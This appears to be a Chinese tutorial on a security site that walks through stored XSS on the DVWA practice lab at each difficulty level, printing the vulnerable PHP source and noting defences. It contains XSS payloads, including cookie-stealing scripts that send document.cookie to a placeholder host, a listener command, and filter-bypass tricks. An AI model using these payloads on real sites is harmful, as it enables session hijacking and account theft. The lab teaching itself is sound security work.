freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Web安全中的XSS攻击详细教学(二)--已完结
公众号_泷羽Sec 2024-06-15 23:40:14 129844

前言

上一篇介绍了XSS的反射型XSSDOM型XSS攻击以及Xss-Labs通关的全教程解析,接下来介绍的是持久性XSS攻击教学(严禁用于非法用途),这是另一种常见的XSS攻击类型。存储型XSS攻击发生在攻击者将恶意脚本存储在目标服务器上,当其他用户访问受感染的页面时,恶意脚本会被执行

存储型XSS(持久性XSS)

存储型XSS,又称持久性XSS,他们和反射性XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码,又有点类似于Sql注入,但不同于Sql注入。

这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。

持久型 XSS 的三大特点

  1. 持久性,植入在数据库中;

  2. 危害面广,甚至可以让用户机器变成 DDoS 攻击的肉鸡;

  3. 盗取用户敏感私密信息。

如何防御?

  1. 后端在入库前应该选择不相信任何前端数据,将所有的字段统一进行转义处理;

  2. 后端在输出给前端数据统一进行转义处理;

  3. 前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都需要做转义处理。

漏洞复现--DVWA

LOW

尝试注入JavaScript脚本

<script>alert()</script>

image-20240615204140603

执行正常注入成功

image-20240615204226430

尝试分析源码,完全没有对XSS的防护,另外对SQL注入的防护也不彻底。


<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
//trim() 函数只能去除字符串的首尾字符,这里没有第二个参数,默认去除首尾空格
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

//stripslashes() 删除字符串中的反斜杠
$message = stripslashes( $message );
//mysqli_real_escape_string() 函数转义了特殊字符(包括NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z),然后直接代入mysqli_query()函数来执行INSERT INTO的SQL语句。
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// 要执行的sql语句
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

这里还有一共攻击方式使用xss攻击获取cookie,payload如下

<script>document.write('<img src="http://ip:9999/'+document.cookie+'"/>')</script>

简单地起http协议的方法有两种:

(1)用python2:

python2 -m SimpleHTTPServer 8899

(2)用python3:

python3 -m http.server 8899

image-20240615212548644

注入payload

image-20240615212932065

成功获取cookie信息

image-20240615212834922

P.S. 测试的时候还发现每次点击浏览器的刷新键,都会再生成一个一条guestbook记录。这应该是low等级没有做防止表单重复提交的动作。

image-20240615213345831



Medium

尝试使用上一关的内容进行注入。

image-20240615204624991

注入失败

image-20240615204633162

盲注尝试第一个框,而且输入框限制了文字的输入长度

image-20240615204936880

似乎有效果

image-20240615204949014

尝试修改input框的输入长度限制

image-20240615205122365

payload如下

<a href="javascript:alert()">alert()</a>


image-20240615205216070

注入成功

image-20240615205310458

源码分析

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// strip_tags() 函数用于从字符串中去除HTML和PHP标签
// addslashes() 用于在字符串中的单引号(')、双引号(")、反斜杠(\)和NULL字符(\0)前面添加反斜杠
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// htmlspecialchars() 用于将特殊字符转换为HTML实体,特殊字符包含&、<、>、'、"
$message = htmlspecialchars( $message );

// 将指定字符串替换为空
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

仔细分析源码会发现,它只将message框的函数进行了一个strip_tags字符判断,但是并没有对name框的值进行判断,此处仅仅只是进行了删除script,所以我们可以可以尝试以下俩种方式:

  1. 双写绕过,例如<sc<script>ript>alert()<sc<script>ript>

  2. 大小写绕过,把标签名称改为<sCript>,任意字符大写即可


High

单标签

使用上一关的payload测试

image-20240615205604344

失败

image-20240615205620069

尝试半包,发现对字符进行了转义。

image-20240615205859549

尝试单个标签 img,并添加点击事件onclick,即可注入成功

<img src=1 onclick=alert() /><!--注意不要少了空格-->

image-20240615210502287


cookie

在单标签的情况进行获取cookie,payload如下

<img src=1 onclick="document.write('<img src="http://ip:9999/'+document.cookie+'"/>')" />

image-20240615222704367

http端口也没有监听到cookie信息尝试失败

image-20240615222919091

之后试了试svg,也不行在我百思不得其解的时候,想到了这么一个标签input,onchange事件

<input onchange="alert()">

image-20240615223348575

成功了!那么再利用这个input标签,去获取我们的dvwa站点的cookie信息

<input οnchange="document.write('<img src="http://ip:999/'+document.cookie+'"/>')">

emmmm,尝试了好几遍,注入失败了,不知道为什么

image-20240615225617204

看源码。。。。


<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

image-20240615230514824

它使用 preg_replace 正则替换没思路了,有没有大佬帮帮我呀 T_T


IMPOSSIBLE

源码分析


<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// checkToken() 检查token是否存在,使用csrf_token,防止CSRF攻击,还解决了表单重复提交的问题
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 将参数俩边的空格去掉
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// 去掉message框的反斜杠
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 将message框中的值转化为html实体
$message = htmlspecialchars( $message );

// 去掉name中的反斜杠
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );

// 执行sql语句,并使用了PDO进行了预编译,预防sql注入攻击
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>


原文链接:https://mp.weixin.qq.com/s/PKs1TTg8XyU-UBOZTY5Olg

# 漏洞 # 渗透测试 # 网络安全 # web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 公众号_泷羽Sec 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
公众号_泷羽Sec LV.3
转载请联系,公众号【泷羽Sec】
  • 7 文章数
  • 18 关注者
网络安全&密码学—python中的各种加密算法
2024-07-17
什么是未授权访问漏洞?Hadoop & Redis靶场实战——Vulfocus服务攻防
2024-06-30
从0到1,SQL注入(sql十大注入类型)收藏这一篇就够了,技术解析与实战演练
2024-06-21
文章目录